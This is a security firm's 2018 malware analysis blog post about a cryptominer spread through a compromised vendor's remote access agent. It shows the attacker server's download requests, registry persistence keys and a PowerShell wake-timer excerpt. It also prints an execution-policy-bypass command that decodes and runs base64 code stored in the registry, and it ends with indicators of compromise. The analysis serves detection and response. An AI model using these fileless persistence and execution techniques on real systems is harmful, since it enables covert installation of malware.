PONDURANCE

NEWLY OBSERVED CRYPTOMINER

Max Henderson | Security Analyst

MONDAY | MARCH 26 | 2018

INTRODUCTION

Pondurance's Threat Hunting and Response (TH+R) team has encountered a variety of Cryptocurrency Miner outbreaks throughout the first quarter of 2018, led by the prevalent and crippling WannaMine Cryptominer that desires 100% CPU usage and renders affected systems virtually unusable. WannaMine is particularly innovative due to incorporating a credential-harvesting module and the EternalBlue SMBv1 exploit to perform lateral movements and privilege escalation on a victim network. On March 22, 2018, when Pondurance's TH+R team observed a large quantity of systems downloading PowerShell .ps1 scripts combined with connections to cryptomining pools, their fear was another WannaMine outbreak. However, upon further observation, they realized the outbreak was from a newly observed Cryptominer.

TECHNICAL CHAIN OF EVENTS

All affected systems exhibited the same sequence of HTTP GET requests from an external server hosted at 191.101.21.81. These requests included one .ps1 file, six .txt files, and one .xml file (Fig. 1).

```
191.101.21.81    HTTP      133 GET /ftp/reg_load.ps1 HTTP/1.1
191.101.21.81    HTTP      105 GET /ftp/a_32.txt HTTP/1.1
191.101.21.81    HTTP      105 GET /ftp/b_32.txt HTTP/1.1
191.101.21.81    HTTP      105 GET /ftp/c_32.txt HTTP/1.1
191.101.21.81    HTTP      105 GET /ftp/d_32.txt HTTP/1.1
191.101.21.81    HTTP      105 GET /ftp/e_32.txt HTTP/1.1
191.101.21.81    HTTP      113 GET /ftp/first_script.txt HTTP/1.1
191.101.21.81    HTTP      119 GET /ftp/ReportScriptErrors.xml HTTP/1.1
```

Figure 1: This shows the series of GET requests from the attacker's server that initiated the infection process

The first PowerShell script arrived in plaintext and downloaded the remaining files, in addition to revealing various persistence mechanisms for the malware. This malware appears to differ from other miners in that it modifies the following registry keys:

HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name a -Value $a
HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name b -Value $b
HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name c -Value $c
HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name d -Value $d
HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name e -Value $e
HKLM:\SOFTWARE\Policies\Power\PowerSettings -Name x -Value $firstScript

From here, the PowerShell script establishes the ReportScriptErrors.xml as a Scheduled Task. The final step of this script launched a powercfg.exe process, with the apparent goal of retaining the ability to wake from sleep (Fig. 2).

```
# Allow wake from sleep
$PowerSchemes = (powercfg.exe /LIST) | Select-String "power scheme guid" -List
$AllowWakeTimersGUID = ((powercfg.exe /q) | Select-String "(Allow wake timers)").tostring().split(" ") | where {($_.length -eq 36) -and ([guid]$_)}
foreach ($PowerScheme in $PowerSchemes) {
   $PowerSchemeGUID = $PowerScheme.tostring().split(" ") | where {($_.length -eq 36) -and ([guid]$_)}
   foreach ($Argument in ("/SETDCVALUEINDEX $PowerSchemeGUID SUB_SLEEP $AllowWakeTimersGUID 1","/SETACVALUEINDEX $PowerSchemeGUID SUB_SLEEP
$AllowWakeTimersGUID 1")) {
    Start-Process powercfg.exe -ArgumentList $Argument -Wait -Verb runas -WindowStyle Hidden}
}
```

Figure 2: Excerpt from the initial PowerShell script shows the launching of a powercfg.exe process

The next five scripts, [a-e]_32.txt, arrived in a base64 encoded format. Pondurance was able to identify all txt files as containing data consistent with an executable, but only a_32.txt held the executable-identifying MZ header. Pondurance appended these in reverse order and decoded the base64 to reach an executable approximately 1MB in size that was compiled on 03-19-2018. This executable was observed reaching out to two different IPs for mining purposes. Additionally, a third and unused mining IP was found in the executable's code. The final script, first_script.txt, fed commands into PowerShell.exe and also referenced calls to the Invoke_ReflectivePEInjection, often leveraged in pentesting, which is used to inject executable code into legitimate processes. At this time, the specific code that may have been injected has not been determined. Additionally, there remains a partial custom-encoded portion of this script that Pondurance has not fully decoded yet.

Pondurance also leveraged their pre-deployed EDR agent to identify a malicious PowerShell.exe instance (Fig. 3) that was launched from \sys32\taskeng.exe (taskeng.exe was launched by \sys32\svchost.exe). This PowerShell process held open a tcp connection to 142.91.104.87 over port 80.

Name	powershell.exe
Exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Cmdline	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	-version
	2
	-noprofile
	-executionpolicy
	bypass
	iex
	([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp
	HKLM:\SOFTWARE\Policies\Power\PowerSettings).x)))

Figure 3: PowerShell instance launched by the CryptoMiner

It was determined that all affected systems resided in a network that was not connected to the victim's domain and did not leverage Active Directory. Additionally, it was then uncovered that this environment was maintained by a vendor that leveraged a remote access agent for each system in the environment. After the victim contacted the vendor, the vendor acknowledged they had been compromised and potentially affected a large number of clients.

CONCLUSION

While this malware did not appear to possess the lateral-moving capabilities and exfiltration capabilities of WannaMine, it does present a significant concern for 3rd party remote access and privileges in a network. Had this network been connected to the main victim domain, the risk of further compromise would have been significantly higher.

Indicators of Compromise (IOCs):
IP: 191.101.21.81
IP: 142.91.104.87
IP: 138.128.5.66
IP: 45.76.34.221 (Unobserved, referenced in code)
Hash: e11d84d970bb8e5000bda9ed7f241ce9